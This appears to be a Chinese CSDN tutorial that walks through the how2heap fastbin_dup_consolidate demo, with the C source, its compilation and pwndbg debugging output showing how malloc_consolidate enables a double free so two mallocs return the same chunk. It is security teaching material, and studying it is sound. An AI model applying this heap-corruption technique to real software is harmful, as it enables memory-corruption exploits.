how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
下面的程序展示了fastbins的double-free攻击,可以泄露出一块已经被分配的内存指针。fastbins 可以看成一个后进先出的栈,使用单链表来实现,通过fastbin->fd来遍历。由于free的过程会对free list做检查,我们不能连续两次free同一个chunk,所以这里在两次free 之间,增加了一次对其他chunk的free 过程,从而绕过了检查顺利执行,然后再malloc三次,就在同一个地址malloc了两次,也就有了两个指向同一块内存区域的指针。更具体地展示了上一个程序从零开始学howtoheap:理解fastbins的double-free攻击-CSDN博客所介绍的技巧,利用在large bin的分配中malloc_consolidate 机制绕过 fastbin对double free的检查,这个检查在 fastbin_dup中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它chunk的free
这个程序展示了利用在large bin的分配中malloc_consolidate 机制绕过 fastbin对double free的检查,这个检查在 fastbin_dup中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它chunk的free。
#include
#include
#include
#include
int main() {
void* p1 = malloc(0x10);
strcpy(p1, "AAAAAAAA");
void* p2 = malloc(0x10);
strcpy(p2, "BBBBBBBB");
fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "先 free p1\n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
free(p1);
fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
void* p4 = malloc(0x10);
strcpy(p4, "CCCCCCC");
void* p5 = malloc(0x10);
strcpy(p5, "DDDDDDDD");
fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
}
gcc -g fastbin_dup_consolidate.c -o fastbin_dup_consolidate
有个坑要注意一下,上面的指令要在pwndocker环境运行,在外面的环境运行gdb会报错
──(holyeyes㉿kali2023)-[~]
└─$ sudo ./1run.sh
[sudo] password for holyeyes:
root@pwn_test1604:/ctf/work# ls
1 4 6.tar.gz get-pip.py seccomp-tools-master.zip
2 5 7 how2heap wdb_2018_2nd_easyfmt
3 6 8 seccomp-tools-master
root@pwn_test1604:/ctf/work# cd how2heap/
root@pwn_test1604:/ctf/work/how2heap# ls
fastbin_dup fastbin_dup_consolidate.c first_fit uaf
fastbin_dup.c fastbin_dup_into_stack first_fit1 uaf.c
fastbin_dup_consolidate fastbin_dup_into_stack.c first_fit.c
root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_consolidate
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_consolidate...Dwarf Error: wrong version in compilation unit header (is 5, should be 2, 3, or 4) [in module /ctf/work/how2heap/fastbin_dup_consolidate]
(no debugging symbols found)...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_consolidate
/ctf/work/how2heap/fastbin_dup_consolidate: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /ctf/work/how2heap/fastbin_dup_consolidate)
[Inferior 1 (process 20) exited with code 01]
pwndbg> quit
root@pwn_test1604:/ctf/work/how2heap# ls
fastbin_dup fastbin_dup_consolidate.c first_fit uaf
fastbin_dup.c fastbin_dup_into_stack first_fit1 uaf.c
fastbin_dup_consolidate fastbin_dup_into_stack.c first_fit.c
root@pwn_test1604:/ctf/work/how2heap# gcc -g fastbin_dup_consolidate.c -o fastbin_dup_consolidate
root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_consolidate
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_consolidate...done.
pwndbg>
调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_consolidate
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_consolidate...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_consolidate
申请两个 fastbin 范围内的 chunk: p1=0x602010 p2=0x602030
先 free p1
去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=0x602050
因为 malloc_consolidate(), p1 会被放到 unsorted bin 中
这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free
现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: 0x602010 0x602010
[Inferior 1 (process 33) exited normally]
pwndbg>
设置断点 在第11行, 指令 b 11
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_consolidate
Breakpoint 1, main () at fastbin_dup_consolidate.c:11
11 fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x602030 ◂— 'BBBBBBBB'
RBX 0x0
RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RDX 0x602030 ◂— 'BBBBBBBB'
RDI 0x0
RSI 0x4242424242424242 ('BBBBBBBB')
R8 0x602000 ◂— 0x0
R9 0xd
R10 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602040 ◂— 0x0
R11 0x0
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe580 ◂— 0x0
RIP 0x400694 (main+78) ◂— mov rax, qword ptr [rip + 0x2009c5]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400694 mov rax, qword ptr [rip + 0x2009c5] <0x601060>
0x40069b mov rcx, qword ptr [rbp - 0x20]
0x40069f mov rdx, qword ptr [rbp - 0x28]
0x4006a3 mov esi, 0x400848
0x4006a8 mov rdi, rax
0x4006ab mov eax, 0
0x4006b0 call fprintf@plt <0x400510>
0x4006b5 mov rax, qword ptr [rip + 0x2009a4] <0x601060>
0x4006bc mov rcx, rax
0x4006bf mov edx, 0xc
0x4006c4 mov esi, 1
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_consolidate.c
6 int main() {
7 void* p1 = malloc(0x10);
8 strcpy(p1, "AAAAAAAA");
9 void* p2 = malloc(0x10);
10 strcpy(p2, "BBBBBBBB");
► 11 fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
12 fprintf(stderr, "先 free p1\n");
13 free(p1);
14 void* p3 = malloc(0x400);
15 fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
16 fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe580 ◂— 0x0
01:0008│ 0x7fffffffe588 —▸ 0x602010 ◂— 'AAAAAAAA'
02:0010│ 0x7fffffffe590 —▸ 0x602030 ◂— 'BBBBBBBB'
03:0018│ 0x7fffffffe598 —▸ 0x400550 (_start) ◂— xor ebp, ebp
04:0020│ 0x7fffffffe5a0 —▸ 0x7fffffffe690 ◂— 0x1
05:0028│ 0x7fffffffe5a8 ◂— 0x0
06:0030│ rbp 0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400694 main+78
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_consolidate.c:11
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x20 Used None None
0x602020 0x0 0x20 Used None None
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
pwndbg>
设置断点 在第14行, 指令 b 14
pwndbg> n
Breakpoint 6, main () at fastbin_dup_consolidate.c:14
14 void* p3 = malloc(0x400);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7ffff7b04200 (__openat_2+16) ◂— cmp eax, 0x410000 /* '=' */
RDX 0x0
RDI 0xffffffff
RSI 0x7ffff7dd1b28 (main_arena+8) —▸ 0x602000 ◂— 0x0
R8 0x602010 ◂— 0x0
R9 0x7ffff7dd2500 (_nl_global_locale+224) —▸ 0x7ffff7b9b997 (_nl_C_name) ◂— add byte ptr [r15 + 0x5f], bl /* 'C' */
R10 0x8b8
R11 0x7ffff7a914f0 (free) ◂— push r13
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe580 ◂— 0x0
RIP 0x4006df (main+153) ◂— mov edi, 0x400
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x4006c9 mov edi, 0x40087e
0x4006ce call fwrite@plt <0x400530>
0x4006d3 mov rax, qword ptr [rbp - 0x28]
0x4006d7 mov rdi, rax
0x4006da call free@plt <0x4004f0>
► 0x4006df mov edi, 0x400
0x4006e4 call malloc@plt <0x400520>
0x4006e9 mov qword ptr [rbp - 0x18], rax
0x4006ed mov rax, qword ptr [rip + 0x20096c] <0x601060>
0x4006f4 mov rdx, qword ptr [rbp - 0x18]
0x4006f8 mov esi, 0x400890
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_consolidate.c
9 void* p2 = malloc(0x10);
10 strcpy(p2, "BBBBBBBB");
11 fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
12 fprintf(stderr, "先 free p1\n");
13 free(p1);
► 14 void* p3 = malloc(0x400);
15 fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
16 fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
17 free(p1);
18 fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
19 void* p4 = malloc(0x10);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe580 ◂— 0x0
01:0008│ 0x7fffffffe588 —▸ 0x602010 ◂— 0x0
02:0010│ 0x7fffffffe590 —▸ 0x602030 ◂— 'BBBBBBBB'
03:0018│ 0x7fffffffe598 —▸ 0x400550 (_start) ◂— xor ebp, ebp
04:0020│ 0x7fffffffe5a0 —▸ 0x7fffffffe690 ◂— 0x1
05:0028│ 0x7fffffffe5a8 ◂— 0x0
06:0030│ rbp 0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4006df main+153
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_consolidate.c:14
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x20 Freed 0x0 None
0x602020 0x0 0x20 Used None None
pwndbg> bin
fastbins
0x20: 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
设置断点 在第15行, 指令 b 15
可以看到 fastbins 中的 chunk 已经不见了,反而出现在了 small bins 中,并且 chunk p2 的 prev_size 和 size 字段都被修改。
看一下large chunk的分配过程:在分配large chunk的时候,首先会根据chunk的大小来获取对应的 large bin的index,然后判断fast bins中有没有chunk,如果有就调用 malloc_consolidate()合并fast bins中的chunk,然后放到unsorted bin 中。unsorted bin中的chunk 会按照大小放到small或large bins中
pwndbg> n
15 fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x602050 ◂— 0x0
RBX 0x0
RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RDX 0x602050 ◂— 0x0
RDI 0x2
RSI 0x602450 ◂— 0x0
R8 0x7ffff7dd1b88 (main_arena+104) —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602450 ◂— 0x0
R9 0x0
R10 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602450 ◂— 0x0
R11 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602450 ◂— 0x0
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe580 ◂— 0x0
RIP 0x4006ed (main+167) ◂— mov rax, qword ptr [rip + 0x20096c]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x4006d7 mov rdi, rax
0x4006da call free@plt <0x4004f0>
0x4006df mov edi, 0x400
0x4006e4 call malloc@plt <0x400520>
0x4006e9 mov qword ptr [rbp - 0x18], rax
► 0x4006ed mov rax, qword ptr [rip + 0x20096c] <0x601060>
0x4006f4 mov rdx, qword ptr [rbp - 0x18]
0x4006f8 mov esi, 0x400890
0x4006fd mov rdi, rax
0x400700 mov eax, 0
0x400705 call fprintf@plt <0x400510>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_consolidate.c
10 strcpy(p2, "BBBBBBBB");
11 fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
12 fprintf(stderr, "先 free p1\n");
13 free(p1);
14 void* p3 = malloc(0x400);
► 15 fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
16 fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
17 free(p1);
18 fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
19 void* p4 = malloc(0x10);
20 strcpy(p4, "CCCCCCC");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe580 ◂— 0x0
01:0008│ 0x7fffffffe588 —▸ 0x602010 —▸ 0x7ffff7dd1b88 (main_arena+104) —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602450 ◂— ...
02:0010│ 0x7fffffffe590 —▸ 0x602030 ◂— 'BBBBBBBB'
03:0018│ 0x7fffffffe598 —▸ 0x602050 ◂— 0x0
04:0020│ 0x7fffffffe5a0 —▸ 0x7fffffffe690 ◂— 0x1
05:0028│ 0x7fffffffe5a8 ◂— 0x0
06:0030│ rbp 0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4006ed main+167
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x20: 0x602000 —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— 0x602000
largebins
empty
pwndbg>
设置断点 在第18行, 指令 b 18
那么p1再次被free之后既在small bins又在fast bins。
pwndbg> c
Continuing.
去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=0x602050
因为 malloc_consolidate(), p1 会被放到 unsorted bin 中
Breakpoint 2, main () at fastbin_dup_consolidate.c:18
18 fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7ffff7b04200 (__openat_2+16) ◂— cmp eax, 0x410000 /* '=' */
RDX 0x0
RDI 0xffffffff
RSI 0x7ffff7dd1b28 (main_arena+8) —▸ 0x602000 ◂— 0x0
R8 0x602010 ◂— 0x0
R9 0x7ffff7dd2500 (_nl_global_locale+224) —▸ 0x7ffff7b9b997 (_nl_C_name) ◂— add byte ptr [r15 + 0x5f], bl /* 'C' */
R10 0x1
R11 0x246
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe580 ◂— 0x0
RIP 0x400734 (main+238) ◂— mov rax, qword ptr [rip + 0x200925]
─────────────────────────────────[ DISASM ]──────────────────────────────────
► 0x400734 mov rax, qword ptr [rip + 0x200925] <0x601060>
0x40073b mov rcx, rax
0x40073e mov edx, 0x5f
0x400743 mov esi, 1
0x400748 mov edi, 0x400920
0x40074d call fwrite@plt <0x400530>
0x400752 mov edi, 0x10
0x400757 call malloc@plt <0x400520>
0x40075c mov qword ptr [rbp - 0x10], rax
0x400760 mov rax, qword ptr [rbp - 0x10]
0x400764 movabs rcx, 0x43434343434343
──────────────────────────────[ SOURCE (CODE) ]──────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_consolidate.c
13 free(p1);
14 void* p3 = malloc(0x400);
15 fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
16 fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
17 free(p1);
► 18 fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
19 void* p4 = malloc(0x10);
20 strcpy(p4, "CCCCCCC");
21 void* p5 = malloc(0x10);
22 strcpy(p5, "DDDDDDDD");
23 fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ rsp 0x7fffffffe580 ◂— 0x0
01:0008│ 0x7fffffffe588 —▸ 0x602010 ◂— 0x0
02:0010│ 0x7fffffffe590 —▸ 0x602030 ◂— 'BBBBBBBB'
03:0018│ 0x7fffffffe598 —▸ 0x602050 ◂— 0x0
04:0020│ 0x7fffffffe5a0 —▸ 0x7fffffffe690 ◂— 0x1
05:0028│ 0x7fffffffe5a8 ◂— 0x0
06:0030│ rbp 0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
────────────────────────────────[ BACKTRACE ]────────────────────────────────
► f 0 400734 main+238
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_consolidate.c:18
pwndbg> bin
fastbins
0x20: 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x20 [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x602000 —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— 0x602000
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x20 Freed 0x0 0x7ffff7dd1b88
0x602020 0x20 0x20 Used None None
0x602040 0x0 0x410 Used None None
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x00007ffff7dd1b88
0x602020: 0x0000000000000020 0x0000000000000020
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
设置断点 在第21行, 指令 b 21
void *p4 = malloc(0x10);
strcpy(p4, "CCCCCCC");
可以看到堆块被写入了CCCCCCC。
pwndbg> b 21
Breakpoint 4 at 0x400771: file fastbin_dup_consolidate.c, line 21.
pwndbg> c
Continuing.
这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free
Breakpoint 4, main () at fastbin_dup_consolidate.c:21
21 void* p5 = malloc(0x10);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x602010 ◂— 0x43434343434343 /* 'CCCCCCC' */
RBX 0x0
RCX 0x43434343434343
RDX 0x602010 ◂— 0x43434343434343 /* 'CCCCCCC' */
RDI 0x0
RSI 0x7ffff7dd1b20 (main_arena) ◂— 0x0
R8 0x0
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe580 ◂— 0x0
RIP 0x400771 (main+299) ◂— mov edi, 0x10
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400771 mov edi, 0x10
0x400776 call malloc@plt <0x400520>
0x40077b mov qword ptr [rbp - 8], rax
0x40077f mov rax, qword ptr [rbp - 8]
0x400783 movabs rsi, 0x4444444444444444
0x40078d mov qword ptr [rax], rsi
0x400790 mov byte ptr [rax + 8], 0
0x400794 mov rax, qword ptr [rip + 0x2008c5] <0x601060>
0x40079b mov rcx, qword ptr [rbp - 8]
0x40079f mov rdx, qword ptr [rbp - 0x10]
0x4007a3 mov esi, 0x400980
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_consolidate.c
16 fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
17 free(p1);
18 fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
19 void* p4 = malloc(0x10);
20 strcpy(p4, "CCCCCCC");
► 21 void* p5 = malloc(0x10);
22 strcpy(p5, "DDDDDDDD");
23 fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
24 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe580 ◂— 0x0
01:0008│ 0x7fffffffe588 —▸ 0x602010 ◂— 0x43434343434343 /* 'CCCCCCC' */
02:0010│ 0x7fffffffe590 —▸ 0x602030 ◂— 'BBBBBBBB'
03:0018│ 0x7fffffffe598 —▸ 0x602050 ◂— 0x0
04:0020│ 0x7fffffffe5a0 —▸ 0x602010 ◂— 0x43434343434343 /* 'CCCCCCC' */
05:0028│ 0x7fffffffe5a8 ◂— 0x0
06:0030│ rbp 0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400771 main+299
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_consolidate.c:21
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0043434343434343 0x00007ffff7dd1b88
0x602020: 0x0000000000000020 0x0000000000000020
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
设置断点 在第23行, 指令 b 23
void *p5 = malloc(0x10);
strcpy(p5, "DDDDDDDD");
可以看到堆块的内容被覆盖成DDDDDDDD了,这是因为p4和p5被分配在了同一个地方,修改p5处的内容其实就是修改p4处的内容。
pwndbg> b 23
Breakpoint 5 at 0x400794: file fastbin_dup_consolidate.c, line 23.
pwndbg> c
Continuing.
Breakpoint 5, main () at fastbin_dup_consolidate.c:23
23 fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x602010 ◂— 'DDDDDDDD'
RBX 0x0
RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x0
RDX 0x602010 ◂— 'DDDDDDDD'
RDI 0x0
RSI 0x4444444444444444 ('DDDDDDDD')
R8 0x0
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe580 ◂— 0x0
RIP 0x400794 (main+334) ◂— mov rax, qword ptr [rip + 0x2008c5]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x40077b mov qword ptr [rbp - 8], rax
0x40077f mov rax, qword ptr [rbp - 8]
0x400783 movabs rsi, 0x4444444444444444
0x40078d mov qword ptr [rax], rsi
0x400790 mov byte ptr [rax + 8], 0
► 0x400794 mov rax, qword ptr [rip + 0x2008c5] <0x601060>
0x40079b mov rcx, qword ptr [rbp - 8]
